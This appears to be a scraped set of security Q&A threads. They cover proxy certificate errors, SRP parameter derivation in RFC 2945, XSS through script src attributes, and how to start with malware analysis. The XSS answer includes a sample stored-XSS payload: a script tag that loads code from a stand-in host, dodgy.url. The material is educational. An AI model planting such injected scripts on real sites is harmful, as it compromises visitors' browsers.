I have no idea why some load as plain text. This might be something to do with the proxying process.
EDIT: As Arminius astutely pointed out, pages loading as plain text is likely due to certificate errors happening with resources being pulled from third party domains. It is likely that the images and CSS are not loading as the cert errors from those domains prevent the resources from being transmitted.


Differing scrambling parameter generation methods in Secure Remote Protocol RFC 2945 (The SRP Authentication and Key Exchange System) states,

  The parameter u is a 32-bit unsigned integer which takes its value from the first 32 bits of the SHA1 hash of B, MSB first.

whereas the original publication describing SRP states that u is random.

What benefit is gained from using bits from a hash of B and restricting the size, rather than straight pseudorandom data?

The original article also states that: "For example, both sides can compute u as a simple function of B", which is what occurs in RFC 2945. u could be generated randomly and also transmitted, but deriving u from B (which is already transmitted) is harmless (security wise) and saves a few bytes (which is always good).


Is it possible for XSS to occur in src attribute? I'm working on XSS vulnerability and understanding it.
I know in following cases cross site script injection happen in Javascript context

Inside <script> tag.
Inside html tag in event handler attributes values.
Within attribute value, in javascript: URL.

Now, Is there any possibility of XSS attack on JavaScript included directly using "src" attribute.

e.g. <script src="./importjavascript.js"></script>

If yes, then could you please provide me example?

Yes, and quite easily (if I understand the question correctly).

If a website has a comments section which allows the user to post anything (or any section where it allows a user/visitor to post anything) and it outputs what they enter exactly as it appears without any sanitation, they could enter something like:

<script src="http://dodgy.url/badscript.js"></script>

If that was then output as regular HTML, then anyone visiting the page would have that script loaded for them, probably without the website owner knowing about it.


Starting off with Malware Analysis I am starting off with malware reversing/analysis for the first time. I have been going through many resources on the internet. Some of them being pretty awesome and helpful, like SANS resources, Limon blog, Security trainings, reddit posts and many more. I am still in the process of setting up the environment required for getting started with my tryst with malware analysis (something that I have always been fascinated by).

However, there is one fundamental thing I am trying to understand. Please help me with the same :

The malware sample that I have is one that I collected from a live production environment (a Linux machine) that was compromised. Now I would like to first understand whether this malware was aimed at infecting Linux or Windows machines? In other words, is it a Linux or a Windows malware?

So right now I have started with the setup of the analysis environment as per the instructions here (Limon). I started with this because the malware was collected from a Linux box. So I am guessing it to be a Linux malware. Am I right in my thought process here. If not what should be the right approach?

Your thought is good, if you want to run automated analysis. Make sure you have set everything up according to the instructions provided. Since you want to start looking into malware analysis, set up two virtual boxes. One running on linux and one on windows, so you can use Limon to analyze both Linux and Windows malwares. Apart from the working environment, make sure you read some stuff about malwares (Malware analyst's cookbook or something similar) and develop some reverse engineering skills. Both the understanding of them and their "hardcore" analysis will come pretty handy if you consider taking it to the next level. Start by disassembling some simple programs (hello word), learn some tools like ollydbg, ida pro(if you find a license), radare2 and step up to manual unpacking and real malwares. Automated tools usually do the job, but being able to question their results and find more... Man that's priceless ;)